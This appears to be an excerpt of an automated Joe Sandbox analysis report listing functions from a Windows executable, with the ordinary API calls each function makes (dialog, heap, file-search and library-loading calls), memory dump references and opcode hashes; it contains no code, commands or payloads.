Instruction ID: d73b6292c9b7d266114e6b530665bcce423c46eb57c07caf4f292708feb181a4
Opcode Fuzzy Hash: f476d2bfd4726034d9589a57a35db9820aa07498a5a105237817cbeb34648ff6
Instruction Fuzzy Hash: 6211A821A1874286EB648B25E4402B863A0FF44BA4F746331DA3DD26E6DF6DD456C740

Function 00007FF60638215C Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60638A8AC: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF60638A904
Part of subcall function 00007FF60638A8AC: SetDlgItemTextW.USER32 ref: 00007FF60638A973
Part of subcall function 00007FF60638A8AC: GetWindowRect.USER32 ref: 00007FF60638A9AD
Part of subcall function 00007FF60638A8AC: GetClientRect.USER32 ref: 00007FF60638A9BB

GetDlgItem.USER32 ref: 00007FF6063821AC
SetWindowTextW.USER32 ref: 00007FF6063821C8

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ItemRectTextWindow$Clientswprintf
String ID:
API String ID: 3322643685-0
Opcode ID: 7b1a7923946a01b82bc000e866a5e8131c4a3fcb45aa136cf21fa47d66a637f8
Instruction ID: 8f8f7a439e7171f069be96ace60b6e883103ee00c897aac24f35c98e125a4d7f
Opcode Fuzzy Hash: 7b1a7923946a01b82bc000e866a5e8131c4a3fcb45aa136cf21fa47d66a637f8
Instruction Fuzzy Hash: 9E019E20B1C38A85FF1D5762A4042FA17916F85B40F382035CE0DC62E9EEAFEA8583D0

Function 00007FF6063A5AE0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6063A5B10

Part of subcall function 00007FF6063A674C: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6063A6755

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6063A5B16

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: 2418f657b74aff0bbbd954836f942504a57e752e7ff65bc5a56a0d55cdee3a56
Instruction ID: ca7f81338e3f1c18cb70e22faa520a400d563397f8c5c94a88210b7c27ae1d4e
Opcode Fuzzy Hash: 2418f657b74aff0bbbd954836f942504a57e752e7ff65bc5a56a0d55cdee3a56
Instruction Fuzzy Hash: AEE0E221F1920B45FD6D2262146A0B500808F29371E3C3B30D93EC96D3AD1EA496A2E0

Function 00007FF6063B0E1C Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF6063B0E32
GetLastError.KERNEL32 ref: 00007FF6063B0E44

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 6c19af78ecb99c12c8b97ad79194141d8da1ece1a7cca7b9391e8fefba4d6bd8
Instruction ID: 638bd01544b5aedb5ac392cbb5e30cac07f8ff0a9963ffa379f6c784c5ed1726
Opcode Fuzzy Hash: 6c19af78ecb99c12c8b97ad79194141d8da1ece1a7cca7b9391e8fefba4d6bd8
Instruction Fuzzy Hash: 9EE0C210F09E4342FF0DABF2984417A52D0AF98B40F247430CB0EC62A1EF2EA48686C0

Function 00007FF606386858 Relevance: 1.7, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606386ADF

Part of subcall function 00007FF606390AD0: CompareStringW.KERNEL32 ref: 00007FF606390B36

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: CompareString_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1017591355-0
Opcode ID: 19fa4a8e4b1c701ff79f09de193f0e6c9bff8c4b1f7545da9f0c168cfcf595ef
Instruction ID: fdc1ffabfa57865e1fed67dd46fec3a0d1ebb24f392ef2ec53fea9354f128116
Opcode Fuzzy Hash: 19fa4a8e4b1c701ff79f09de193f0e6c9bff8c4b1f7545da9f0c168cfcf595ef
Instruction Fuzzy Hash: 9F614351E0C75348FE6C9B1184162FA6291AF42BD4F34B135EE4EC26E6EEAFE4418280

Function 00007FF606394A98 Relevance: 1.7, APIs: 1, Instructions: 194COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606394D6D

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 9ca4a83d2b63779bf708ac485e26fdd1a63016ab321697bfea32e07a43e704da
Instruction ID: 8ddf0bbd578c7527ac25a50ae51fc28db0f837c2e7af72461d59fe1c0019153b
Opcode Fuzzy Hash: 9ca4a83d2b63779bf708ac485e26fdd1a63016ab321697bfea32e07a43e704da
Instruction Fuzzy Hash: 4671C322F1865244FF18DB65D4802BD22A1FF44798F706131ED1ED36D6EE2EA8868790

Function 00007FF6063976F8 Relevance: 1.7, APIs: 1, Instructions: 178COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF606386288: FindClose.KERNELBASE(?,?,?,00007FF60638FFA5), ref: 00007FF6063862BD

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063979DB

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: CloseFind_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1011579015-0
Opcode ID: badc78b1171942a7d3096e5594fb818a2bb200fdfb059f9f01d9a7c201ae8695
Instruction ID: 960aead64344e98fac277f0bd352cee70c6cb7bca54e01b187aa75d743f5e58f
Opcode Fuzzy Hash: badc78b1171942a7d3096e5594fb818a2bb200fdfb059f9f01d9a7c201ae8695
Instruction Fuzzy Hash: FE816A61E1CB4385FB689B25A84137823E5EF84798F342135D95DC32E1EE7EE88187E0

Function 00007FF606399A70 Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606399CF4

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 552ce37b39ad09a62a9f47879426a5d42276c048784179878e98e6da6e12f1cc
Instruction ID: e671d4d3dd9df196fa7abb8f9473c44ab60ac92428828ba86b3d34ff926d1850
Opcode Fuzzy Hash: 552ce37b39ad09a62a9f47879426a5d42276c048784179878e98e6da6e12f1cc
Instruction Fuzzy Hash: FC619721E0C78281FA68DB14E8C53FD6391EF94748F646135D98DC2AE5DEBEE480CB90

Function 00007FF60638552C Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638569C

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 54602dd0ec26bd2d79ceeb5ca0cc47b122a19acca21d15c1e6fc8212b5c90648
Instruction ID: 794f581488ca43fe3cfdad2ddda203b391d757c7ab05476a5a91c9a1dc55e767
Opcode Fuzzy Hash: 54602dd0ec26bd2d79ceeb5ca0cc47b122a19acca21d15c1e6fc8212b5c90648
Instruction Fuzzy Hash: 8F41E122A08B4584EE588F24D1453B963A1EB44BE8F643234EA5DC77B9DFBEE441C680

Function 00007FF6063AF2D8 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6063AF300

Part of subcall function 00007FF6063AF490: GetModuleHandleExW.KERNEL32 ref: 00007FF6063AF4B0
Part of subcall function 00007FF6063AF490: GetProcAddress.KERNEL32 ref: 00007FF6063AF4C6
Part of subcall function 00007FF6063AF490: FreeLibrary.KERNEL32 ref: 00007FF6063AF4EB

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 4a2f43bead39ce058c557f5b4fc102bf9ea9cb7a759dd16a39b16621d9c8bbb2
Instruction ID: f356edc1ceeb96a1675b2e86fbaa1cb976aa07423af490ef04f9a3d4af32cd7a
Opcode Fuzzy Hash: 4a2f43bead39ce058c557f5b4fc102bf9ea9cb7a759dd16a39b16621d9c8bbb2
Instruction Fuzzy Hash: FC41AD21E18B0382FF2D9B25E99027962A1AF50741F64743ADA4EC76D1EF3FE84493C1

Function 00007FF606394EE4 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF606386288: FindClose.KERNELBASE(?,?,?,00007FF60638FFA5), ref: 00007FF6063862BD

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606395023

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: CloseFind_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1011579015-0
Opcode ID: 8e1b62b4adbf0026937254bcfc6fd8c1cb42753d58653c909ec536b3b6315e0b
Instruction ID: 76ab974c680bceb540491ca59ca1d7b6abb27100b9ffe074bb44afa9b5e26f7c
Opcode Fuzzy Hash: 8e1b62b4adbf0026937254bcfc6fd8c1cb42753d58653c909ec536b3b6315e0b
Instruction Fuzzy Hash: DB31A131B18B8681EE189B15E440379A3D0FF847D8F606235EA9E87B96DF7EE4418790

Function 00007FF6063B46DC Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6063B4710

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0a039c216fd43f6ed93c381b723f8e0e858f96ef93bc530090e045798fe727a
Instruction ID: 04c9e557af23570318a8f5ebce692d435db2192368ad71c63ee7173dcccb5e32
Opcode Fuzzy Hash: d0a039c216fd43f6ed93c381b723f8e0e858f96ef93bc530090e045798fe727a
Instruction Fuzzy Hash: 51117F3291CA8382F6188F10A54157962E4FF41380F643534E79DC779BEF6DE900C784

Function 00007FF6063A376C Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6063A2BF4: GetDlgItem.USER32 ref: 00007FF6063A2C33
Part of subcall function 00007FF6063A2BF4: ShowWindow.USER32 ref: 00007FF6063A2C59
Part of subcall function 00007FF6063A2BF4: SendMessageW.USER32 ref: 00007FF6063A2C6E
Part of subcall function 00007FF6063A2BF4: SendMessageW.USER32 ref: 00007FF6063A2C86
Part of subcall function 00007FF6063A2BF4: SendMessageW.USER32 ref: 00007FF6063A2CA7
Part of subcall function 00007FF6063A2BF4: SendMessageW.USER32 ref: 00007FF6063A2CC3
Part of subcall function 00007FF6063A2BF4: SendMessageW.USER32 ref: 00007FF6063A2D06
Part of subcall function 00007FF6063A2BF4: SendMessageW.USER32 ref: 00007FF6063A2D24
Part of subcall function 00007FF6063A2BF4: SendMessageW.USER32 ref: 00007FF6063A2D38
Part of subcall function 00007FF6063A2BF4: SendMessageW.USER32 ref: 00007FF6063A2D62
Part of subcall function 00007FF6063A2BF4: SendMessageW.USER32 ref: 00007FF6063A2D7A

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A3807

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: MessageSend$ItemShowWindow_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1587882848-0
Opcode ID: 77ef27b56bb4c41a1db006d89dbb7bf76ea420d19d4cfb9dd224e5a037684bb3
Instruction ID: d6c56f9b5420ae736808867976b1f64802c13b49a84245797c9fcc19a781beae
Opcode Fuzzy Hash: 77ef27b56bb4c41a1db006d89dbb7bf76ea420d19d4cfb9dd224e5a037684bb3
Instruction Fuzzy Hash: 6A01DBB2B1868542FD189724D04636E6351FF897A0F602735F69DCABD6DE2DE140D740

Function 00007FF606386288 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60638647C: FindFirstFileW.KERNELBASE ref: 00007FF6063864CB
Part of subcall function 00007FF60638647C: FindFirstFileW.KERNELBASE ref: 00007FF60638651E
Part of subcall function 00007FF60638647C: GetLastError.KERNEL32 ref: 00007FF60638656F

FindClose.KERNELBASE(?,?,?,00007FF60638FFA5), ref: 00007FF6063862BD

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 3b96e4bc9674b0bfe861db3a8d48e59cac22d33fe6a98766aeed1da261f7cc18
Instruction ID: eed9494a634bb71d59d075f6a89212e220d6f4c09fc9b7a65fe5c6392e86e170
Opcode Fuzzy Hash: 3b96e4bc9674b0bfe861db3a8d48e59cac22d33fe6a98766aeed1da261f7cc18
Instruction Fuzzy Hash: 59F0AF629083818DEA589B7591052BC37609F1ABB4F242374DA7D872EBCE6ED484C784

Function 00007FF6063900F0 Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32 ref: 00007FF6063A3AAA

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ItemMessageSend
String ID:
API String ID: 3015471070-0
Opcode ID: 39a766f13ec939f6e1c3257cb9b2c56e534004cb78ff04812ec539a8ae924e80
Instruction ID: 93ddb6ef3585b449780e531c1276977f6ae171458f3b45b24fc8b783de303a9d
Opcode Fuzzy Hash: 39a766f13ec939f6e1c3257cb9b2c56e534004cb78ff04812ec539a8ae924e80
Instruction Fuzzy Hash: 49D05E90F1834682FB28A311A4193391311AF91B88F302235D98EDA7D5DE6FE6164BD4

Function 00007FF606384E00 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE ref: 00007FF606384E08

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 18013ed5b6161e60d067ba1f4f2b62e7c051905d9142b67b1a2e10f00f48d8d5
Instruction ID: 399b3358ce337b22c6642c6d21b7fbc725be3b9aaf4aa36067e0bda30cb69a41
Opcode Fuzzy Hash: 18013ed5b6161e60d067ba1f4f2b62e7c051905d9142b67b1a2e10f00f48d8d5
Instruction Fuzzy Hash: D7B09210B06941C2D6086B22DC821285324AB88B01BA86420C60ED1220CF1DC8EB9700

Function 00007FF6063B2E94 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF6063B2EE9

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 973ac4a955278155064161a4d63dbe6b99ccc62035c0026a498718668b27418c
Instruction ID: b6c11834507195f55dc74ff4169131fa241f9bd7f058d0e69d6b50bf46a92fd4
Opcode Fuzzy Hash: 973ac4a955278155064161a4d63dbe6b99ccc62035c0026a498718668b27418c
Instruction Fuzzy Hash: 10F09014B09A0382FE5D5B7799453BB52805F88B80F6C3534CF0EC67D2EF2EE68142A4

Function 00007FF6063B0E5C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF6063B0E9A

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 6cb8d6af9808862ce5c6d1e218701f51077bf56df55e472ff95833f18a2663ca
Instruction ID: e5b004fe49ca3b66ae8dbdb4f4b4d5cc02ac04735eca15764ae63c3214d5cc92
Opcode Fuzzy Hash: 6cb8d6af9808862ce5c6d1e218701f51077bf56df55e472ff95833f18a2663ca
Instruction Fuzzy Hash: 83F08C00B19F4385FE5C97B2584127A62804F887A0F287634DEAED62C2DF2EE48181A4

Function 00007FF6063842D0 Relevance: 1.3, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF60638427E), ref: 00007FF6063842F6

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
